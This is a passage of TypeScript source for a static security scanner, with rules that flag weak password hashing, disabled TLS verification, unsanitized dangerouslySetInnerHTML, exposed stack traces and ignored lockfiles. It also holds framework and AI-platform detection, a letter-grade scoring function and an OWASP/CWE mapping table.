cryptographically secure. Use crypto.randomBytes() (Node), crypto.getRandomValues() (browser), or crypto.randomUUID() for tokens, session IDs, salts, and similar values.\",\n );\n for (const m of raw) {\n if (matches.some((existing) => existing.line === m.line)) continue;\n matches.push(m);\n }\n }\n\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC036 – Missing Error Boundary (React)\n// ────────────────────────────────────────────\n\nexport const missingErrorBoundary: CustomRule = {\n id: \"VC036\",\n title: \"React App Missing Error Boundary\",\n severity: \"medium\",\n category: \"Configuration\",\n description: \"React apps without error boundaries display raw stack traces and component tree info to users when crashes occur, leaking internal details.\",\n check(content, filePath) {\n // Only check App.tsx, App.jsx, app.tsx, app.jsx files\n const basename = filePath.split(\"/\").pop() || \"\";\n if (!/^[Aa]pp\\.[jt]sx$/i.test(basename)) return [];\n // Skip .ts files (non-JSX)\n if (filePath.match(/\\.ts$/)) return [];\n // Only trigger if file contains JSX (< followed by an uppercase letter)\n if (!/<[A-Z]/.test(content)) return [];\n // Skip Electron main process files\n if (/(?:BrowserWindow|electron|ipcMain|app\\.on\\s*\\(\\s*[\"']ready)/i.test(content)) return [];\n if (/\\/main\\//.test(filePath) && !/react-dom|createRoot/i.test(content)) return [];\n // Must have React imports and render calls\n if (!/(?:import.*react|from\\s+['\"]react|require.*react)/i.test(content)) return [];\n if (!/(?:createRoot|ReactDOM\\.render)/i.test(content)) return [];\n const hasErrorBoundary = /ErrorBoundary|componentDidCatch|getDerivedStateFromError|error-boundary/i.test(content);\n if (hasErrorBoundary) return [];\n if (/createRoot|ReactDOM\\.render/i.test(content)) {\n return [{\n rule: \"VC036\", title: missingErrorBoundary.title, severity: \"medium\" as const, category: \"Configuration\",\n file: filePath, line: 1, snippet: getSnippet(content, 1),\n fix: \"Wrap your app in an ErrorBoundary component to catch rendering errors gracefully. Use react-error-boundary or create a class component with componentDidCatch.\"\n }];\n }\n return [];\n },\n};\n\n// ────────────────────────────────────────────\n// VC037 – Exposed Stack Traces in API\n// ────────────────────────────────────────────\n\nexport const exposedStackTraces: CustomRule = {\n id: \"VC037\",\n title: \"Stack Traces Exposed in API Responses\",\n severity: \"medium\",\n category: \"Information Leakage\",\n description: \"Returning error.stack or detailed error messages in API responses reveals internal code paths, file structure, and dependencies to attackers.\",\n check(content, filePath) {\n if (!isServerSideFile(filePath, content)) return [];\n const matches: RuleMatch[] = [];\n const patterns = [\n // Sending stack trace in response\n /(?:res\\.(?:json|send|status)|c\\.json|return.*json)\\s*\\([^)]*(?:err\\.stack|error\\.stack|e\\.stack)/gi,\n /(?:res\\.(?:json|send|status)|c\\.json)\\s*\\([^)]*(?:err\\.message|error\\.message|e\\.message)/gi,\n // Express-style error with stack\n /(?:message|error)\\s*:\\s*(?:err|error|e)\\.(?:stack|message)/gi,\n ];\n const hasEnvCheck = /process\\.env\\.NODE_ENV\\s*(?:===|!==)\\s*[\"'`]production[\"'`]|NODE_ENV/i.test(content);\n if (hasEnvCheck) return []; // They're conditionally showing errors\n for (const p of patterns) {\n matches.push(...findMatches(content, p, exposedStackTraces, filePath, () =>\n \"Never expose error.stack or error.message to clients in production. Return generic error messages: { error: 'Something went wrong' }. Log details server-side only.\"\n ));\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC039 – Missing Dependency Lock File\n// ────────────────────────────────────────────\n\nexport const missingLockFile: CustomRule = {\n id: \"VC039\",\n title: \"Missing Dependency Lock File\",\n severity: \"medium\",\n category: \"Supply Chain\",\n description: \"Without a lockfile (package-lock.json, pnpm-lock.yaml, yarn.lock), dependency versions are unpinned and vulnerable to supply chain attacks via version substitution.\",\n check(content, filePath) {\n // Only check .gitignore for lock files being ignored\n if (!filePath.endsWith(\".gitignore\")) return [];\n const ignoresLock = /package-lock\\.json|pnpm-lock\\.yaml|yarn\\.lock/i.test(content);\n if (ignoresLock) {\n return findMatches(content, /(?:package-lock\\.json|pnpm-lock\\.yaml|yarn\\.lock)/gi, missingLockFile, filePath, () =>\n \"Remove the lockfile from .gitignore. Lockfiles should be committed to prevent supply chain attacks. They ensure exact versions are installed across all environments.\"\n );\n }\n return [];\n },\n};\n\n// ────────────────────────────────────────────\n// VC060 – Weak Hashing Algorithm\n// ────────────────────────────────────────────\n\nexport const weakHashing: CustomRule = {\n id: \"VC060\",\n title: \"Weak Hashing Algorithm for Passwords\",\n severity: \"critical\",\n category: \"Cryptography\",\n description: \"MD5 and SHA1/SHA256 are too fast for password hashing — they can be brute-forced at billions of attempts per second. Use bcrypt, scrypt, or argon2 instead.\",\n check(content, filePath) {\n if (filePath.includes(\"test\") || filePath.includes(\"mock\")) return [];\n // Skip if file also uses strong hashing (indicates migration / comparison code).\n if (/bcrypt|scrypt|argon2/i.test(content)) return [];\n\n const matches: RuleMatch[] = [];\n\n // --- Inline patterns (password on the same line as the hash call) ---\n const inlinePatterns = [\n /(?:md5|sha1|sha256|sha512)\\s*\\([^)]*(?:password|passwd|pwd)/gi,\n /createHash\\s*\\(\\s*[\"'`](?:md5|sha1|sha256)[\"'`]\\).*(?:password|passwd|pwd)/gi,\n /(?:password|passwd|pwd).*createHash\\s*\\(\\s*[\"'`](?:md5|sha1|sha256)[\"'`]\\)/gi,\n /hashlib\\.(?:md5|sha1|sha256)\\s*\\([^)]*(?:password|passwd|pwd)/gi,\n /Digest::(?:MD5|SHA1|SHA256).*(?:password|passwd|pwd)/gi,\n ];\n for (const p of inlinePatterns) {\n matches.push(...findMatches(content, p, weakHashing, filePath, () =>\n \"Use bcrypt, scrypt, or argon2 for password hashing — they're intentionally slow. Example: const hash = await bcrypt.hash(password, 12);\"\n ));\n }\n\n // --- File-level context: the password identifier and the weak hash call\n // live in the same file but on different lines. Flag every weak hash call\n // when password-hashing context exists somewhere in the file. ---\n const hasPasswordContext =\n /\\b(?:hashPassword|hash_password|verify_password|verifyPassword|password_hash|password_hash_verify|password_hashing)\\b/i.test(content) ||\n /\\b(?:function|def|async)\\s+\\w*(?:password|pwd)\\w*/i.test(content) ||\n /\\bpassword\\s*[:=]/i.test(content);\n\n if (hasPasswordContext) {\n const weakCallPatterns = [\n /createHash\\s*\\(\\s*[\"'`](?:md5|sha1|sha256)[\"'`]\\s*\\)/gi,\n /hashlib\\.(?:md5|sha1|sha256)\\s*\\(/gi,\n /Digest::(?:MD5|SHA1|SHA256)\\./gi,\n ];\n for (const p of weakCallPatterns) {\n const raw = findMatches(content, p, weakHashing, filePath, () =>\n \"Use bcrypt, scrypt, or argon2 for password hashing. These algorithms are intentionally slow so brute-force attacks are infeasible.\",\n );\n for (const m of raw) {\n if (matches.some((existing) => existing.line === m.line)) continue;\n matches.push(m);\n }\n }\n }\n\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC061 – Disabled TLS Certificate Verification\n// ────────────────────────────────────────────\n\nexport const disabledTLSVerification: CustomRule = {\n id: \"VC061\",\n title: \"Disabled TLS Certificate Verification\",\n severity: \"critical\",\n category: \"Cryptography\",\n description: \"Disabling TLS certificate verification (NODE_TLS_REJECT_UNAUTHORIZED=0 or rejectUnauthorized:false) makes all HTTPS connections vulnerable to man-in-the-middle attacks.\",\n check(content, filePath) {\n const matches: RuleMatch[] = [];\n const patterns = [\n /NODE_TLS_REJECT_UNAUTHORIZED\\s*[:=]\\s*[\"'`]?0[\"'`]?/g,\n /rejectUnauthorized\\s*:\\s*false/g,\n /verify\\s*[:=]\\s*false.*(?:ssl|tls|cert|https)/gi,\n /PYTHONHTTPSVERIFY\\s*[:=]\\s*[\"'`]?0[\"'`]?/g,\n /ssl_verify\\s*[:=]\\s*false/gi,\n /InsecureSkipVerify\\s*:\\s*true/g,\n ];\n for (const p of patterns) {\n matches.push(...findMatches(content, p, disabledTLSVerification, filePath, () =>\n \"Never disable TLS certificate verification in production. Fix the root cause: install the correct CA certificate, or use NODE_EXTRA_CA_CERTS for custom CAs.\"\n ));\n }\n return matches;\n },\n};\n\n// ────────────────────────────────────────────\n// VC063 – dangerouslySetInnerHTML\n// ────────────────────────────────────────────\n\nexport const dangerousInnerHTML: CustomRule = {\n id: \"VC063\",\n title: \"Unsanitized dangerouslySetInnerHTML\",\n severity: \"critical\",\n category: \"Injection\",\n description: \"Using dangerouslySetInnerHTML without sanitization (DOMPurify) enables XSS attacks. User-controlled content injected as raw HTML can execute arbitrary JavaScript.\",\n check(content, filePath) {\n if (!filePath.match(/\\.(jsx|tsx)$/)) return [];\n if (isTestFile(filePath)) return [];\n if (!/dangerouslySetInnerHTML/i.test(content)) return [];\n // Strip comments before the sanitize-presence check. Otherwise a\n // fixture comment like \"// unsanitized dangerouslySetInnerHTML\"\n // substring-matches \"sanitize\" and suppresses the rule.\n const codeOnly = content\n .replace(/\\/\\*[\\s\\S]*?\\*\\//g, \"\")\n .replace(/(^|[^:])\\/\\/.*$/gm, \"$1\")\n .replace(/\\{\\s*\\/\\*[\\s\\S]*?\\*\\/\\s*\\}/g, \"\");\n const hasSanitize = /\\b(?:DOMPurify|sanitizeHtml|sanitize-html|isomorphic-dompurify)\\b|\\b(?:sanitize|purify|xss)\\s*\\(/i.test(codeOnly);\n if (hasSanitize) return [];\n // Find all dangerouslySetInnerHTML usages, but skip if the value is a\n // static constant (all-caps like THEME_INIT_SCRIPT), a string literal,\n // or a marked safe value — these are not user-controlled input\n const findings: RuleMatch[] = [];\n const re = /dangerouslySetInnerHTML\\s*=\\s*\\{\\s*\\{\\s*__html\\s*:\\s*([^}]+)\\}/g;\n let m: RegExpExecArray | null;\n while ((m = re.exec(content)) !== null) {\n if (isCommentLine(content, m.index)) continue;\n // Respect inline `// VC063-OK: <reason>` silencer. Common legitimate\n // sites: server-built HTML templates (CopyableBlock embed previews),\n // const-bound template literals with no user input (ThemeBootScript,\n // theme-flash-prevention scripts), nonce-attribute script tags\n // hydrating from server-rendered data.\n if (isInlineSilenced(content, m.index, \"VC063\")) continue;\n const value = m[1].trim();\n // Skip static constants (UPPER_CASE), string literals, or template strings without interpolation\n if (/^[A-Z][A-Z0-9_]+$/.test(value)) continue;\n if (/^[\"'`][^$]*[\"'`]$/.test(value)) continue;\n // Skip JSON-LD structured data (standard SEO practice, developer-controlled)\n if (/JSON\\.stringify/i.test(value)) continue;\n const lineNum = lineNumberAt(content, m.index);\n findings.push({\n rule: \"VC063\", title: dangerousInnerHTML.title,\n severity: \"critical\" as const, category: \"Injection\",\n file: filePath, line: lineNum, snippet: getSnippet(content, lineNum),\n fix: \"Sanitize HTML before using dangerouslySetInnerHTML: dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(content) }}. Install: npm install dompurify. If this site is intentional (server-built template, nonce-attribute boot script, etc.), add an inline `// VC063-OK: <reason>` comment above the line to silence.\",\n });\n }\n return findings;\n },\n};\n\n// ────────────────────────────────────────────\n// FRAMEWORK DETECTION\n// ────────────────────────────────────────────\n\nexport type DetectedFramework = \"next.js\" | \"react\" | \"react-native\" | \"express\" | \"hono\" | \"fastify\" | \"django\" | \"flask\" | \"electron\" | \"vue\" | \"svelte\" | \"unknown\";\n\nexport function detectFramework(files: { path: string; content: string }[]): DetectedFramework[] {\n const frameworks: Set<DetectedFramework> = new Set();\n for (const { path, content } of files) {\n if (path.match(/next\\.config/i) || /from\\s+[\"']next/i.test(content)) frameworks.add(\"next.js\");\n if (/from\\s+[\"']react-native/i.test(content) || path.match(/react-native\\.config/i)) frameworks.add(\"react-native\");\n else if (/from\\s+[\"']react/i.test(content) || /import\\s+React/i.test(content)) frameworks.add(\"react\");\n if (/from\\s+[\"']express/i.test(content) || /require\\s*\\(\\s*[\"']express/i.test(content)) frameworks.add(\"express\");\n if (/from\\s+[\"']hono/i.test(content)) frameworks.add(\"hono\");\n if (/from\\s+[\"']fastify/i.test(content)) frameworks.add(\"fastify\");\n if (/from\\s+[\"']electron/i.test(content) || path.match(/electron/i)) frameworks.add(\"electron\");\n if (path.match(/settings\\.py$/) || /from\\s+django/i.test(content)) frameworks.add(\"django\");\n if (/from\\s+flask/i.test(content) || /Flask\\s*\\(/i.test(content)) frameworks.add(\"flask\");\n if (/from\\s+[\"']vue/i.test(content) || path.match(/vue\\.config/i)) frameworks.add(\"vue\");\n if (/from\\s+[\"']svelte/i.test(content) || path.match(/svelte\\.config/i)) frameworks.add(\"svelte\");\n }\n if (frameworks.size === 0) frameworks.add(\"unknown\");\n return [...frameworks];\n}\n\n// The AI scaffold / platform a project was generated with. Provenance (WHO\n// built it), distinct from DetectedFramework (WHAT it's built on). Used to make\n// scan output say the concrete \"Detected: Lovable + Supabase app\" thing that\n// the niche positioning promises.\nexport type VibePlatform = \"lovable\" | \"bolt\" | \"replit\" | \"cursor\" | \"v0\" | \"claude-code\";\n\n/**\n * Detect the AI coding platform / scaffold behind a project from tell-tale\n * files, dependencies, and generated-comment headers.\n *\n * Deliberately high-precision: signals are mostly exact config-file paths\n * (`.replit`, `.cursorrules`, `.bolt/`) plus a couple of unambiguous content\n * markers (`lovable-tagger`, `bolt.new`, `v0.dev`). A plain framework project\n * with none of these returns `[]` — we never guess a platform, because a wrong\n * \"Detected: X\" label reads worse than none. Returns every platform detected\n * (a Lovable app opened in Cursor legitimately reports both).\n */\n/**\n * Files whose CONTENT describes a platform rather than uses it.\n *\n * Content markers are matched against source, not against everything a repo\n * happens to carry. Scanning this very repository reported \"Detected: Lovable\n * project\" because `public/vsi/vsi-results.json` — our own published field-study\n * output — contains the methodology string \"lovable-tagger in package.json\".\n * The scanner read its own data about Lovable as evidence of being Lovable.\n *\n * The same trap catches anyone: a blog post about bolt.new, a docs page\n * explaining v0, a fixture describing a scaffold. `public/` and `static/` hold\n * files the app SERVES, and markdown is prose — neither is where a build tool\n * leaves its fingerprint. Path-based signals (`.bolt/`, `.replit`,\n * `lovable.config.*`) are unaffected; those are unambiguous wherever they sit.\n */\nfunction describesRatherThanUses(lowerPath: string): boolean {\n return (\n /(^|\\/)(public|static|assets|fixtures|__fixtures__|testdata|test-fixtures)\\//.test(lowerPath) ||\n /\\.(md|mdx|txt|rst)$/.test(lowerPath)\n );\n}\n\nexport function detectPlatform(files: { path: string; content: string }[]): VibePlatform[] {\n const platforms: Set<VibePlatform> = new Set();\n for (const { path, content: rawContent } of files) {\n const p = path.toLowerCase();\n // Path signals still apply to every file; only CONTENT matching is held\n // back for files that merely talk about a platform.\n const content = describesRatherThanUses(p) ? \"\" : rawContent;\n // Lovable — its Vite tagger dev-dep, config file, or an explicit reference.\n if (/(^|\\/)lovable\\.config\\./.test(p) || /lovable-tagger/i.test(content) || /lovable\\.dev/i.test(content)) {\n platforms.add(\"lovable\");\n }\n // Bolt (bolt.new) / StackBlitz.\n if (/(^|\\/)\\.bolt\\//.test(p) || /(^|\\/)\\.stackblitzrc$/.test(p) || /bolt\\.new/i.test(content)) {\n platforms.add(\"bolt\");\n }\n // Replit — its config files are unique and unambiguous.\n if (/(^|\\/)\\.replit$/.test(p) || /(^|\\/)replit\\.nix$/.test(p)) {\n platforms.add(\"replit\");\n }\n // Cursor — project-level rules file / dir (signals the code was written in Cursor).\n if (/(^|\\/)\\.cursorrules$/.test(p) || /(^|\\/)\\.cursor\\//.test(p)) {\n platforms.add(\"cursor\");\n }\n // Claude Code — its project memory file / config dir.\n if (/(^|\\/)claude\\.md$/.test(p) || /(^|\\/)\\.claude\\//.test(p)) {\n platforms.add(\"claude-code\");\n }\n // Vercel v0 — generated-comment / reference marker.\n if (/v0\\.dev/i.test(content) || /generated by v0\\b/i.test(content)) {\n platforms.add(\"v0\");\n }\n }\n return [...platforms];\n}\n\n// ────────────────────────────────────────────\n// SEVERITY GRADING\n// ────────────────────────────────────────────\n\nexport type SecurityGrade = \"A+\" | \"A\" | \"B\" | \"C\" | \"D\" | \"F\";\n\nexport interface GradeResult {\n grade: SecurityGrade;\n score: number;\n summary: string;\n /**\n * How many of the supplied findings were held out of the score because they\n * sit in vendored / generated / documentation paths (see `vendored.ts`).\n *\n * Always present, and always reflected in `summary` when non-zero. Every\n * surface that renders a grade must render this too: a grade that excluded\n * findings may never be displayed as though it excluded none.\n */\n ungraded: number;\n}\n\nexport interface GradeOptions {\n /**\n * Score vendored / generated / documentation findings as if they were app\n * code — i.e. the pre-classification behaviour. Opt-out escape hatch for\n * users who vendor code they consider their own responsibility. Exposed as\n * `--grade-vendored` on the CLI.\n */\n gradeVendored?: boolean;\n}\n\n// eslint-disable-next-line @typescript-eslint/no-unused-vars\nexport function calculateGrade(findings: Finding[], _totalFiles: number, options: GradeOptions = {}): GradeResult {\n // Hold out findings in code the app author did not write. The classification\n // is re-derived from each finding's path rather than read off the finding,\n // so an object that arrives over the wire already flagged `vendored: true`\n // gets no say in its own score. See vendored.ts for why this lives at the\n // file-classification layer rather than inside the four rules involved.\n const scored = options.gradeVendored ? findings : findings.filter((f) => !isVendoredFinding(f));\n const ungraded = findings.length - scored.length;\n\n // Phrase appended to every summary that had something held out. The count is\n // never suppressed, including when the grade ends up perfect.\n const holdout = ungraded > 0\n ? ` ${ungraded} finding${ungraded === 1 ? \"\" : \"s\"} in vendored, generated, or documentation files ${ungraded === 1 ? \"is\" : \"are\"} reported but not graded.`\n : \"\";\n\n if (scored.length === 0) {\n return {\n grade: \"A+\",\n score: 100,\n summary: (ungraded > 0\n ? \"No security issues detected in your own code.\"\n : \"No security issues detected. Excellent.\") + holdout,\n ungraded,\n };\n }\n\n // Single source of truth for severity weights. Matches the dashboard\n // scoring modal and the GitHub Action action.yml so all three surfaces\n // produce the same grade for the same input.\n let critical = 0, high = 0, medium = 0, low = 0;\n for (const f of scored) {\n if (f.severity === \"critical\") critical++;\n else if (f.severity === \"high\") high++;\n else if (f.severity === \"medium\") medium++;\n else if (f.severity === \"low\") low++;\n }\n\n const deductions = critical * 15 + high * 7 + medium * 3 + low * 1;\n const rawScore = Math.max(0, 100 - deductions);\n\n // Score-based grade thresholds\n let grade: SecurityGrade;\n if (rawScore >= 97) grade = \"A+\";\n else if (rawScore >= 90) grade = \"A\";\n else if (rawScore >= 80) grade = \"B\";\n else if (rawScore >= 70) grade = \"C\";\n else if (rawScore >= 60) grade = \"D\";\n else grade = \"F\";\n\n // Severity caps — a scan with serious findings cannot earn an A regardless\n // of what the score math says. Prevents the 'strong security with minor\n // concerns' bug where 2 High findings were rated A.\n const capGrade = (cap: SecurityGrade): SecurityGrade => {\n const order: SecurityGrade[] = [\"A+\", \"A\", \"B\", \"C\", \"D\", \"F\"];\n return order.indexOf(grade) < order.indexOf(cap) ? cap : grade;\n };\n if (critical >= 1) grade = capGrade(\"D\"); // any critical → max D\n else if (high >= 3) grade = capGrade(\"D\"); // 3+ high → max D\n else if (high >= 1) grade = capGrade(\"B\"); // 1–2 high → max B\n else if (medium >= 5) grade = capGrade(\"B\"); // 5+ medium → max B\n else if (medium >= 1) grade = capGrade(\"A\"); // any medium → max A (not A+)\n\n // Summary references what's actually wrong, not just the score bucket.\n let summary: string;\n if (critical > 0) {\n summary = `${critical} critical ${critical === 1 ? \"vulnerability requires\" : \"vulnerabilities require\"} immediate attention.`;\n } else if (high >= 3) {\n summary = `${high} high-severity issues require urgent attention.`;\n } else if (high > 0) {\n summary = `${high} high-severity ${high === 1 ? \"issue needs\" : \"issues need\"} attention.`;\n } else if (medium >= 5) {\n summary = `${medium} medium-severity issues to address.`;\n } else if (medium > 0) {\n summary = `Clean of critical and high issues. ${medium} medium-severity ${medium === 1 ? \"issue\" : \"issues\"} to review.`;\n } else if (low > 0) {\n summary = `Clean of critical, high, and medium issues. ${low} low-severity best-practice ${low === 1 ? \"note\" : \"notes\"}.`;\n } else {\n summary = \"No security issues detected.\";\n }\n\n return { grade, score: rawScore, summary: summary + holdout, ungraded };\n}\n\n// ────────────────────────────────────────────\n// COMPLIANCE MAPPING (OWASP Top 10 + CWE)\n// ────────────────────────────────────────────\n\nexport const complianceMap: Record<string, { owasp: string; cwe: string }> = {\n VC001: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC002: { owasp: \"A05:2021\", cwe: \"CWE-200\" },\n VC003: { owasp: \"A01:2021\", cwe: \"CWE-862\" },\n VC004: { owasp: \"A01:2021\", cwe: \"CWE-284\" },\n VC005: { owasp: \"A08:2021\", cwe: \"CWE-345\" },\n VC006: { owasp: \"A03:2021\", cwe: \"CWE-89\" },\n VC007: { owasp: \"A03:2021\", cwe: \"CWE-79\" },\n VC008: { owasp: \"A04:2021\", cwe: \"CWE-770\" },\n VC009: { owasp: \"A05:2021\", cwe: \"CWE-942\" },\n VC010: { owasp: \"A01:2021\", cwe: \"CWE-602\" },\n VC011: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC012: { owasp: \"A05:2021\", cwe: \"CWE-200\" },\n VC013: { owasp: \"A01:2021\", cwe: \"CWE-269\" },\n VC014: { owasp: \"A05:2021\", cwe: \"CWE-538\" },\n VC015: { owasp: \"A03:2021\", cwe: \"CWE-95\" },\n VC016: { owasp: \"A01:2021\", cwe: \"CWE-601\" },\n VC017: { owasp: \"A05:2021\", cwe: \"CWE-614\" },\n VC018: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC019: { owasp: \"A05:2021\", cwe: \"CWE-693\" },\n VC020: { owasp: \"A05:2021\", cwe: \"CWE-1021\" },\n VC021: { owasp: \"A01:2021\", cwe: \"CWE-22\" },\n VC022: { owasp: \"A03:2021\", cwe: \"CWE-79\" },\n VC023: { owasp: \"A08:2021\", cwe: \"CWE-1321\" },\n VC024: { owasp: \"A04:2021\", cwe: \"CWE-770\" },\n VC025: { owasp: \"A01:2021\", cwe: \"CWE-22\" },\n VC026: { owasp: \"A05:2021\", cwe: \"CWE-693\" },\n VC027: { owasp: \"A05:2021\", cwe: \"CWE-693\" },\n VC028: { owasp: \"A07:2021\", cwe: \"CWE-20\" },\n VC029: { owasp: \"A08:2021\", cwe: \"CWE-20\" },\n VC030: { owasp: \"A08:2021\", cwe: \"CWE-502\" },\n VC031: { owasp: \"A02:2021\", cwe: \"CWE-321\" },\n VC032: { owasp: \"A05:2021\", cwe: \"CWE-319\" },\n VC033: { owasp: \"A05:2021\", cwe: \"CWE-215\" },\n VC034: { owasp: \"A02:2021\", cwe: \"CWE-338\" },\n VC035: { owasp: \"A01:2021\", cwe: \"CWE-601\" },\n VC036: { owasp: \"A04:2021\", cwe: \"CWE-755\" },\n VC037: { owasp: \"A09:2021\", cwe: \"CWE-209\" },\n VC038: { owasp: \"A04:2021\", cwe: \"CWE-434\" },\n VC039: { owasp: \"A06:2021\", cwe: \"CWE-1104\" },\n VC040: { owasp: \"A05:2021\", cwe: \"CWE-538\" },\n VC041: { owasp: \"A10:2021\", cwe: \"CWE-918\" },\n VC042: { owasp: \"A01:2021\", cwe: \"CWE-915\" },\n VC043: { owasp: \"A02:2021\", cwe: \"CWE-208\" },\n VC044: { owasp: \"A09:2021\", cwe: \"CWE-117\" },\n VC045: { owasp: \"A07:2021\", cwe: \"CWE-521\" },\n VC046: { owasp: \"A07:2021\", cwe: \"CWE-384\" },\n VC047: { owasp: \"A07:2021\", cwe: \"CWE-307\" },\n VC048: { owasp: \"A03:2021\", cwe: \"CWE-943\" },\n VC049: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC050: { owasp: \"A02:2021\", cwe: \"CWE-319\" },\n VC051: { owasp: \"A05:2021\", cwe: \"CWE-200\" },\n VC052: { owasp: \"A04:2021\", cwe: \"CWE-770\" },\n VC053: { owasp: \"A05:2021\", cwe: \"CWE-547\" },\n VC054: { owasp: \"A07:2021\", cwe: \"CWE-922\" },\n VC055: { owasp: \"A05:2021\", cwe: \"CWE-540\" },\n VC056: { owasp: \"A05:2021\", cwe: \"CWE-1021\" },\n VC057: { owasp: \"A01:2021\", cwe: \"CWE-269\" },\n VC058: { owasp: \"A05:2021\", cwe: \"CWE-250\" },\n VC059: { owasp: \"A05:2021\", cwe: \"CWE-284\" },\n VC060: { owasp: \"A02:2021\", cwe: \"CWE-328\" },\n VC061: { owasp: \"A02:2021\", cwe: \"CWE-295\" },\n VC062: { owasp: \"A02:2021\", cwe: \"CWE-321\" },\n VC063: { owasp: \"A03:2021\", cwe: \"CWE-79\" },\n VC064: { owasp: \"A01:2021\", cwe: \"CWE-862\" },\n VC065: { owasp: \"A01:2021\", cwe: \"CWE-862\" },\n VC066: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC067: { owasp: \"A01:2021\", cwe: \"CWE-601\" },\n VC068: { owasp: \"A07:2021\", cwe: \"CWE-922\" },\n VC069: { owasp: \"A02:2021\", cwe: \"CWE-295\" },\n VC070: { owasp: \"A05:2021\", cwe: \"CWE-489\" },\n VC071: { owasp: \"A05:2021\", cwe: \"CWE-215\" },\n VC072: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC073: { owasp: \"A08:2021\", cwe: \"CWE-502\" },\n VC074: { owasp: \"A01:2021\", cwe: \"CWE-352\" },\n VC075: { owasp: \"A03:2021\", cwe: \"CWE-78\" },\n VC076: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC077: { owasp: \"A05:2021\", cwe: \"CWE-942\" },\n VC078: { owasp: \"A05:2021\", cwe: \"CWE-250\" },\n VC079: { owasp: \"A02:2021\", cwe: \"CWE-327\" },\n VC080: { owasp: \"A04:2021\", cwe: \"CWE-1333\" },\n VC081: { owasp: \"A03:2021\", cwe: \"CWE-611\" },\n VC082: { owasp: \"A03:2021\", cwe: \"CWE-94\" },\n VC083: { owasp: \"A08:2021\", cwe: \"CWE-502\" },\n VC084: { owasp: \"A06:2021\", cwe: \"CWE-353\" },\n VC085: { owasp: \"A01:2021\", cwe: \"CWE-862\" },\n VC086: { owasp: \"A02:2021\", cwe: \"CWE-319\" },\n VC087: { owasp: \"A05:2021\", cwe: \"CWE-311\" },\n VC088: { owasp: \"A07:2021\", cwe: \"CWE-598\" },\n VC089: { owasp: \"A05:2021\", cwe: \"CWE-430\" },\n VC090: { owasp: \"A01:2021\", cwe: \"CWE-601\" },\n VC091: { owasp: \"A04:2021\", cwe: \"CWE-367\" },\n VC092: { owasp: \"A08:2021\", cwe: \"CWE-1321\" },\n VC093: { owasp: \"A01:2021\", cwe: \"CWE-22\" },\n VC094: { owasp: \"A03:2021\", cwe: \"CWE-78\" },\n VC095: { owasp: \"A05:2021\", cwe: \"CWE-942\" },\n VC096: { owasp: \"A02:2021\", cwe: \"CWE-319\" },\n VC097: { owasp: \"A09:2021\", cwe: \"CWE-532\" },\n VC098: { owasp: \"A04:2021\", cwe: \"CWE-400\" },\n VC099: { owasp: \"A04:2021\", cwe: \"CWE-401\" },\n VC100: { owasp: \"A04:2021\", cwe: \"CWE-400\" },\n VC101: { owasp: \"A04:2021\", cwe: \"CWE-400\" },\n VC102: { owasp: \"A04:2021\", cwe: \"CWE-400\" },\n VC103: { owasp: \"A04:2021\", cwe: \"CWE-710\" },\n VC104: { owasp: \"A04:2021\", cwe: \"CWE-390\" },\n VC105: { owasp: \"A04:2021\", cwe: \"CWE-710\" },\n VC106: { owasp: \"A04:2021\", cwe: \"CWE-710\" },\n VC107: { owasp: \"A02:2021\", cwe: \"CWE-311\" },\n VC108: { owasp: \"A01:2021\", cwe: \"CWE-284\" },\n VC109: { owasp: \"A01:2021\", cwe: \"CWE-284\" },\n VC110: { owasp: \"A09:2021\", cwe: \"CWE-778\" },\n VC111: { owasp: \"A05:2021\", cwe: \"CWE-653\" },\n VC112: { owasp: \"A06:2021\", cwe: \"CWE-1104\" },\n VC113: { owasp: \"A05:2021\", cwe: \"CWE-200\" },\n VC114: { owasp: \"A05:2021\", cwe: \"CWE-668\" },\n VC115: { owasp: \"A02:2021\", cwe: \"CWE-311\" },\n VC116: { owasp: \"A05:2021\", cwe: \"CWE-770\" },\n VC117: { owasp: \"A01:2021\", cwe: \"CWE-22\" },\n VC118: { owasp: \"A09:2021\", cwe: \"CWE-532\" },\n VC119: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC120: { owasp: \"A07:2021\", cwe: \"CWE-352\" },\n VC121: { owasp: \"A06:2021\", cwe: \"CWE-1104\" },\n VC122: { owasp: \"A02:2021\", cwe: \"CWE-326\" },\n VC123: { owasp: \"A02:2021\", cwe: \"CWE-326\" },\n VC124: { owasp: \"A02:2021\", cwe: \"CWE-327\" },\n VC125: { owasp: \"A07:2021\", cwe: \"CWE-640\" },\n VC126: { owasp: \"A05:2021\", cwe: \"CWE-200\" },\n VC127: { owasp: \"A01:2021\", cwe: \"CWE-862\" },\n VC128: { owasp: \"A05:2021\", cwe: \"CWE-444\" },\n VC129: { owasp: \"A02:2021\", cwe: \"CWE-311\" },\n VC130: { owasp: \"A07:2021\", cwe: \"CWE-307\" },\n VC131: { owasp: \"A06:2021\", cwe: \"CWE-1104\" },\n // VC132–VC145: Service-specific API key detection\n VC132: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC133: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC134: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC135: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC136: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC137: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC138: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC139: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC140: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC141: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC142: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC143: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC144: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC145: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n // VC146–VC151: Secret exposure path analysis\n VC146: { owasp: 